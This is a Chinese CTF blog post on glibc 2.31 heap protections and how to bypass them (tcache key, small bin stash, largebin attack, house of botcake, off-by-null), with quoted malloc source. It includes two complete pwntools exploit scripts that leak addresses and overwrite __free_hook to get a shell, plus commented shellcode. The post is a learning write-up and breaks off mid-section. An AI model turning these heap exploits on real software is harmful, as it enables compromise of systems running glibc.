PWN May 09, 2020

2.31中check机制和漏洞利用分析

Words count 200k Reading time 3:02 Read count 0

前言

之前一直有2.31的题目出现在赛场上,趁着这个机会,整理一波2.31下的tcache机制和利用技巧,以学习的目的为主。

一、check机制和利用技巧说明

1、fastbin的double free

只要填满了7个tcache,下一步就是放入到fastbin中,接着如果存在uaf的话,可以直接121实现和2.23一样的double free效果

2、tcache的double free

我们先来看下2.31下的源码:关于tcache结构体和key结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;//多了个key结构体指针
} tcache_entry;

typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS]; //数量,这里变成了双字节!(不过这个变动使得一些分析堆利用的 gdb 插件解析出现了一定的错误。)
tcache_entry *entries[TCACHE_MAX_BINS];//指针值
} tcache_perthread_struct;

tcache_put (mchunkptr chunk, size_t tc_idx)//free后将要调用的函数,更新counts和 tcache->entries[tc_idx]
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache_get (size_t tc_idx)//malloc将堆从tcache拿出来后,更新counts和 tcache->entries[tc_idx]
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

我们实际看一下效果:

image-20201024170003473

这里tcache的结构体发生了变化,多了个key指针,用来防御double free的,再看free时是怎么检测的,look一下free的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

size = chunksize (p);

/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");

check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))//check,会检查当前要free的chunk的key是不是已经有tcache值,有说明在里面了
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)//找到确实存在相同的,也就是已经在了,那么就会double free
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);//没事的话就调用函数正常free更新值
return;
}
}
}
#endif

这个绕过相当简单,我们只需要能修改bk指针,即key的值即可,不进去if (__glibc_unlikely (e->key == tcache))这个条件判断,就是正常free,所以也可以实现double free

构造方法:
存在uaf漏洞,可以改写key的值,就可以直接实现tcache的double free

3、tcache在malloc时,堆块重复性检查

2.29不检查tcache中的堆块重复使用,意味着能使得2个指针指向同一个堆块

2.31检查tcache中的堆块重复使用,意味着不能使得2个指针指向同一个堆块,意味着overlap不可用了。

4、当fastbin中摘了一个chunk后,其他在fastbin中的堆块会被unlink到tcache中对应的大小去,符合tcache优先的原则,smallbin也一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */

mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */

mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */

unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */

mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */

#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif

/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size returns false for request sizes
that are so large that they wrap around zero when padded and
aligned.
*/

if (!checked_request2size (bytes, &nb))
{
__set_errno (ENOMEM);
return NULL;
}

/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely (av == NULL))
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/

#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim);

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;

if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));//检查size头
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
//这里就是fastbin中摘了一个后,其他在fastbin中的堆块会被释放到tcache中对应的大小去,符合tcache优先的原则
while (tcache->counts[tc_idx] < mp_.tcache_count//这里对tache的数量也进行了检测,所以要任意申请时记得保证tacahe中的堆块数量不为空
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);//效果相当于free到tcache中
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

5、tcache不检查size头

1
2
3
4
5
6
7
8
9
10
11
12
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
//只判断是否在tcache里面,不判断它的size头,所以可以申请出来任意指针
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif

6、small bin的unlink依旧可以用(主要利用点)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */

mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */

mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */

unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */

mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */

#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif

/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/

checked_request2size (bytes, nb);

/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely (av == NULL))
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
if (in_smallbin_range (nb))//在small bin的范围里面
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)//small bin不为空
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//不能连续2个链接在一起
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;//当当前的chunk是实际最后一个chunk时,触发漏洞点,任意地址的fd指针写入main_arena+176,这里可以代替unsorted bin的attack,实现任意地址写超大值,因为unsorted bin的attack不可用了;同时因为只根据bk指针链接在一起,所以我们可以通过在small bin中伪造fake_chunk从而让它放入到tcache中,通过再申请从而得到这个fake_chunk,然后往fake_chunk写入内容,因为fake_chunk会放到tcache中,所有并没有size的限制。

tcache_put (tc_victim, tc_idx);//放到tcache中
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

利用的机制是当malloc走到smallbin的时候,如果smallbin的size和malloc的nb相同,会从smallbin链bk上解下来一个chunk,同时会将这条链上剩余的chunk放到对应size的tcache_entry中,终止条件是该smallbin为空或者对应的tcache_entry被装满。

通俗地讲解利用方式就2个:
1、任意地址写main_arena的值
构造方法:
先往tcache中填充6个堆块,然后放一个相同大小的堆块到small bin中,接着放第二个相同大小的堆到small bin中,修改第二个堆块的bk指针为fake_chunk地址,申请相同大小的chunk,会得到第一个堆块,然后第二个堆块会被放到tcache中,接着fake_chunk的fd指针会写入main_arena的地址。
2、任意地址写(申请出一个fake_chunk往里面写内容)
构造方法:
先往tcache中填充5个堆块,然后放一个相同大小的堆块到small bin中,接着放第二个相同大小的堆到small bin中,修改第二个堆块的bk指针为fake_chunk地址,然后满足fake_chunk的bk指针是个可写地址,申请相同大小的chunk,会得到第一个堆块,然后第二个堆块会和fake_chunk被放到tcache中,接着fake_chunk的bk指针所在的地址的fd指针会写入main_arena的地址,再次申请即可得到fake_chunk,然后往fake_chunk中写入内容。

但是前提是fd指针必须是有相应的堆地址才行,不然行不通的!所以需要泄露出堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./twochunk')
if local:
p = process('./twochunk')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
#onegadget18(libc-2.27.so) 0x4f322 0x4f2c5 0x10a38c
#onegadget19(libc-2.29.so) 0xe237f 0xe2383 0xe2386 0x106ef8

# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def add(idx,size):
ru("choice: ")
sl('1')
ru("idx: ")
sl(str(idx))
ru("size: ")
sl(str(size))
def free(index):
ru("choice: ")
sl('2')
ru("idx: ")
sl(str(index))
def edit(index,content):
ru("choice: ")
sl('4')
ru("idx: ")
sl(str(index))
ru("content: ")
sd(content)
def show(index):
ru("choice: ")
sl('3')
ru("idx: ")
sl(str(index))
def show_map():
ru("choice: ")
sl('5')
def final_malloc(content):
ru("choice: ")
sl('6')
ru("leave your end message: ")
sd(content)
def backdoor():
ru("choice: ")
sl('7')

name = p64(0x23333020)*6
message = 'abcdefg'

ru("leave your name:")
sd(name)
ru("leave your message: ")
sd(message)
for i in range(5):
add(0,0x88)
free(0)
# leak heap
add(0, 0xe9)
free(0)
add(0, 0xe9)
free(0)
add(0, 23333)
show(0)
heap = u64(rc(6).ljust(8,'\x00'))-0x530
print hex(heap)
free(0)
for i in range(7):
add(0, 0x188)
free(0)
add(0, 0x188)
add(1, 0x300) # padding
free(0)
add(0, 0xf8)
free(0)
add(0, 0x100) # smallbin
free(0)
free(1)
add(0, 0x188)
add(1, 0x300) # padding
free(0) # unsortedbin
free(1)
add(0, 0xf8) # overwrite
add(1, 0x100) # smallbin
free(1)
py = "\x00"*0xf0
py += p64(0)+p64(0x91)
py += p64(heap+0x1310)+p64(0x23333000-0x10)
edit(0, py)
add(1, 0x88)
show_map()
ru("message: ")
base_addr = u64(rc(6).ljust(8,'\x00'))-0x1bfd20
print "base_addr--->"+hex(base_addr)
system = base_addr + 0x2dfd0
binsh = base_addr + 0x18ab84
print "system--->"+hex(system)
py = ''
py += p64(system) + "/bin/sh\x00"
py += p64(0)*4
py += p64(0x23333008)+p64(0)
py += p64(0)*2
final_malloc(py)
# bk(0x000000000001766+0x555555554000)
backdoor()
p.interactive()

7、unsorted bin的attack已经成为历史:

unlink实现overlap the chunk和任意地址写超大值都不行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))//对unsorted bin的下一个堆块的presize的check,必须和unsorted bin的一样,意味着不能进行unlink从而实现overlap the chunk了,成为历史。
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim) //对bk指针的fd进行了check,必须是本身,意味着不能填任意值了,unsorted bin attack写超大值成为泡影
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&

8、largebin attack的利用

在2.23里面这个漏洞点就是任意地址写一个堆地址,这个和small bin的任意地址写一个main_arena地址效果是一样的,largebin也可以实现申请出一个fake_chunk,只要将指针构造好,在2.31下这个攻击依旧可用。

假设largebin中已经有了一个堆块,这里有2种方式可以让最新的chunk(比原本的chunk小),进入到相应的largebin位置:

1、先将chunk放到unsorted bin中,然后申请一个比chunk大的堆,使得不满足条件,从而触发堆整理机制,把unsorted bin中的chunk放到对应大小的largebin中去

2、先将chunk放到unsorted bin中,然后申请一个fastbin大小的堆块,这时会先遍历fastbin中所有满足的条件的chunk,发现都不行,于是触发堆整理机制,把chunk放到对应大小的largebin中,然后再次遍历搜索,找到largebin中满足条件的第一个堆块(从小到大找),进行切割操作,得到满足大小的chunk,剩下的lastremainder,就会被放到unsortedbin中,这样也是间接进入到了largebin中的一个方法,仅限largebin特有。

在2.29种,比原本的chunk大也可以写入到largebin中,但是2.31下加了新的check,所以只能放比原来的小的了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{//现在的堆块victim比已经存在的chunk(fwd->fd)小,进入这个分支,适合所有版本
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;//fwd->fd->bk_nextsize被我们改成任意可写地址值
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//漏洞触发点,实现任意地址的fd_nextsize写入堆地址
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{ {//现在的chunk比已经存在的chunk大,进入这个分支
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这里可以看到加入了新的check
//如果我们改了fwd->bk_nextsize的值,那么fwd->bk_nextsize->fd_nextsize就不是它本身fwd了
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
通俗地讲就是任意地址写堆地址而已。
构造方法:
先放一个堆块到largebin,在放入第二个largebin时,先改写已经存在的largebin的bk_nextsize为fake_chunk,通过搞一个比它小的largebin放入,插到链表尾巴那里(还在同一链),实现往fake_chunk的fd_nextsize写入堆地址。

2.31下的house of storm有待研究。。。。。(house of banana)

9、house of botcake

这个其实就是tcache和unsorted bin的结合使用造成overlap的效果
构造条件:
存在uaf漏洞,先在tcache中填充7个unsorted bin的堆块,然后继续填充2个相同大小的堆块,就会放到unsorted bin中,因为相邻,会被unlink合并起来形成大堆快,然后我们申请一个堆块,使得tcache中只剩下6个堆块,接着再次free最后一次放入的堆块(尾巴),使得它放入到tcache中,那么我们通过申请到大堆快,就实现了overlap的效果了,可以往free状态的tcache中的堆块fd指针写入free_hook,然后申请出来,改成system,最后getshell。适用于有uaf没有edit时实现tcache的劫持操作。

10、offbynull

2.31下的offbynull比较复杂,因为加了挺多check机制,但是还是可以了利用的,我们来看一下具体是什么样的,上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* consolidate backward *///向后合并堆块
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))//新增加的check,导致我们在2.23下的unlink实现overlap the chunk失败
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward *///向前合并堆块
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

/*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Take a chunk off a bin list.  */ //unlink操作
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");//再次严格检验size

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))//unlink的日常检测,和2.23一样的,绕过也和2.23一样,我们直接用堆地址来进行绕过。
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

来看一张构造过程的截图:

image-20201102211458915

0x555555560020就是我们的fake_chunk,这里是在0x31的堆块里面构造的,这里fakechunk的size是0x521,fd和bk指针通过largebin的残留得到这个不难,然后我们控制fd的尾字节为\x40,就可以在0x555555560040的堆块处利用small bin的bk指针残留得到堆地址,接着我们改堆地址的地位为我们的fakechunk的地址0x555555560020,fakechunk的bk因为我们动不了,但是根据largebin的残留指针,这是指向它自己的,所以presize需要填写fakechunk的地址,这里我们利用fastbin的attack,得到fd指针残留,修改尾字节为\x20即可,这样一来,unlink就被我们绕过了,下面就是构造出presize,利用offbynull实现我们的overlap the chunk,有了overlap,接下来的操作就比较简单了。

以上便是源码阅读计划的全部内容。

offbynull做题:

一道简单的offbynull题,直接利用泄露出来的堆地址和真实地址,构造unlink,实现overlap,往tacahe放入足够数量的堆块,再free目标堆块,然后改fd为free_hook,改free_hook为system即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#coding=utf8
from pwn import *
# from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./babyheap2.29')
if local:
p = process('./babyheap2.29')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
#onegadget18(libc-2.27.so) 0x4f322 0x4f2c5 0x10a38c
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def add(size):
ru("Command: ")
sl('1')
ru("Size: ")
sl(str(size))
def free(index):
ru("Command: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Command: ")
sl('2')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
def show(index):
ru("Command: ")
sl('4')
ru("Index: ")
sl(str(index))

add(0x440)#0
add(0x100)#1
add(0x100)#2
add(0x10)#3
free(0)
add(0x440)#0
show(0)
ru("Chunk[0]: ")
libc_base = u64(rc(6).ljust(8,'\x00'))-0x1ebbe0
print "libc_base--->"+hex(libc_base)
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
free(1)#1
free(2)#2
add(0x100)#1
add(0x100)#2
show(1)
ru("Chunk[1]: ")
heap_addr = u64(rc(6).ljust(8,'\x00'))
print "heap_addr--->"+hex(heap_addr)
add(0x440)#4
add(0x68)#5
add(0x4f8)#6
ptr = heap_addr + 0x270
fd = ptr-0x18
bk = ptr-0x10
py = ''
py += p64(0x0)+p64(0x4b1)
py += p64(fd)+p64(bk)
py += p64(0)*2
py += p64(heap_addr+0x240)
edit(4,0x38,py)
add(0x68)#7
edit(5,0x68,'a'*0x60+p64(0x4b0))

free(6)
add(0x430)#6
add(0x68)#8
free(7)
free(5)
edit(8,8,p64(free_hook))
add(0x68)#5
add(0x68)#7
edit(7,8,p64(system))
edit(6,8,'/bin/sh\x00')
free(6)
p.interactive()

再来道难题:

这题是balsCTF原题

保护机制全开

image-20201107233449868

发现有沙箱规则:

